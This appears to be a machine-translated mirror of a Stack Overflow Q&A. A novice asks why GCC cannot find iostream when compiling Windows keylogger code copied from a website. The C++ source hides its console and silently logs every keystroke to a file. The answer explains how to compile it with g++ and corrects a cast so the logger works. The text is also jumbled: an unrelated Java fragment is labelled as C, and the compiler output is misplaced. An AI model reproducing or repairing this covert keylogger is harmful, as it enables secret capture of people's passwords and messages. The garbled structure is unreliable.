GCC:找不到iostream编译错误

时间:2018-06-19 15:59:52

标签: gcc compilation command-prompt iostream

第一件事是,我对编程一无所知。我从无法正常工作的站点上获取了一些C代码;当我尝试编译此键盘记录器时:

public Host() {
    acceptConnection();
    CommandListener commandListener = new CommandListener(in);
    commandListener.run();
}

命令提示符给了我

CommandListener

我也尝试过

#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
 FreeConsole();
char i;
while (true) {
 Sleep(10);
 for (i = 8; i <= 255; i++) {
 if (GetAsyncKeyState(i) == -32767) {
 Save(i, "log.txt");
 }
 }
 }
 return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
 fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
 else if (_key == VK_BACK)
 fprintf(OUTPUT_FILE, "%s", "[BACK]");
 else if (_key == VK_LBUTTON)
 fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
 else if (_key == VK_RETURN)
 fprintf(OUTPUT_FILE, "%s", "[RETURN]");
 else if (_key == VK_ESCAPE)
 fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
 else
 fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}

代替

fatal error: iostream: No such file or directory
compilation terminated.

,并得到相同的错误。 如何编译代码?是否存在错误的问题,如果是,该如何解决?谢谢! (而且,如果您能使像我这样的轻浮派人士易于理解,我将不胜感激) 使用GCC进行编译,Windows 10 64位

1 个答案:

答案 0 :(得分:0)

您需要告诉GCC链接到C ++库。使用g ++而不是gcc将强制执行此操作。

错误是因为带有%s格式化程序的fprintf需要一个指向char的指针,您正在将一个指针传递给int,在这种情况下,您可以简单地将其转换为char *

fprintf(OUTPUT_FILE, "%s", reinterpret_cast<char*>(&_key));

然后它将起作用。